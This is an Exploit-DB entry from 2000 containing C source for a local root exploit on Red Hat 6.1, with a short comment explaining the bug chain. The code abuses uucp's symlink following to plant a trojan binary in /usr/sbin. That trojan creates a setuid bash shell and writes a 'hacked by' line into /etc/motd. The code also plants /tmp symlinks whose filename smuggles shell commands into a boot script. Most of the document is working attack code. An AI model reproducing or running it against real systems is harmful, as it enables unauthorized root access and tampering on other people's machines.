Exploit-DB #217
Description: UUCP - File Creation/Overwriting Symlinks
Type: local
Platform: linux
Date: 2000-12-04
Author: t--zen

Exploit:
/**************************************************************

root exploit: multiple subsystem errors allowing root exploit

bashack.c - Thu Nov 30 21:50:50 NZDT 2000 (redhat 6.1)

 /etc/rc.d/ and scripts that are trusting the untrustworthy.
 /bin/sh acts silly when u get it to use the << redirection.
 it creates a mode 666 file with an easily predictable name,
 containing the pid as the only variant. As the same sequence
 of events happens at most start ups, the pid of the line in
 /etc/rc.d/rc.sysinit that creates the /boot/kernel.h file 
 which uses << can be exploited. With another bit of bad
 it will take until the next run of cron.weekly till you
 have root. I'm sure someone can come up with a faster way.
 (hint: lotsa stuff run as root have /sbin and /usr/sbin  
 in their paths. / is a pain when backticking, making it
 hard to tell the program what to run... FNAME below is
 a method of getting around that, but its ugly as sin ;])


[root@continuity /root]# rpm -qf /usr/bin/uucp
uucp-1.06.1-20
[root@continuity /root]# rpm -qf /etc/rc.d/rc3.d
chkconfig-1.0.7-2
initscripts-4.48-1
[root@continuity /root]# rpm -qf /bin/bash
bash-1.14.7-16
[root@continuity /root]# rpm -qf /etc/cron.weekly/makewhatis.cron
man-1.5g-6

The big bug is like the tcsh one someone mentioned a while ago.

*****************************************************************/
#include <stdlib.h>
#include <stdio.h>
#define FNAME "/usr/man/man1/last.1.gz;export PATH=.;cd ..;cd ..;cd ..;cd ..;cd usr;cd sbin;uuconv;.1.gz"

main()
{
 int d;
  char fn[2000];
  char *homedir;
  FILE *file;
  printf("bashack - root using multiple config/input validation errors\n\n");
  printf("creating trojan in /usr/sbin/uuconv\n");
  printf("                 - uucp bug -\n");
  printf("uucp follows symlinks as euid=uucp, (uid,gid,egid=you)\n\n");
  homedir=getenv("HOME");
  sprintf(fn,"%s/bashacker/",homedir);
  mkdir(fn);
  chdir(fn);
  sprintf(fn,"%s/bashacker/bashaker",homedir);
  unlink(fn);
  printf("== uuconv replacement\n");
  printf("* making uuconv.c\n");
  sprintf(fn,"%s/bashacker/uuconv.c",homedir);
  file=fopen(fn,"w");
  sprintf(fn,"%s/bashacker",homedir);
  fprintf(file,"main()\n{\n");
  fprintf(file,"printf(\"sendmail\n\");\n");
  fprintf(file,"system(\"/bin/cp /bin/bash %s/bashacker;",fn);
  fprintf(file,"/bin/chmod 6711 %s/bashacker;",fn);
  fprintf(file,"echo hacked by %s>>/etc/motd;",getenv("LOGNAME"));
  fprintf(file,"echo -n \\\"at about \\\" >>/etc/motd; /bin/date >>/etc/motd");
  fprintf(file,"\");\n");
  fprintf(file,"}\n");
  fclose(file);
  printf("* compiling ./uuconv.c ==> ./uuconv \n");
  system("cc -o uuconv uuconv.c -O2;strip uuconv");
  unlink("/var/spool/uucppublic/uuconv"); 
  symlink("/usr/sbin/uuconv","/var/spool/uucppublic/uuconv");
  printf("* copying to /usr/sbin via uucp bug\n");
  sprintf(fn,
  "/usr/bin/uucp %s/bashacker/uuconv /var/spool/uucppublic/uuconv",homedir);
  system(fn);
  printf("== cleaning up a little.\n");
  unlink("/var/spool/uucppublic/uuconv");
  unlink("uuconv");
  unlink("uuconv.c");
  printf("== set up /tmp for bash part of exploit.\n");
  for(d=100;d<150;d++)
  /*
   on my machine its something like 118-120 or something, but it does
   depend on what was running, or what files existed and stuff.
   so please excuse the shotgun approach.
  */
  {
  sprintf(fn,"/tmp/t%d-sh",d);
  unlink(fn);
  symlink(FNAME,fn);
  } 
  printf("* my work here is done.\n\n");
  printf("now pray for some kinda of crash.\n\n\t--zen\n");
}


// milw0rm.com [2000-12-04]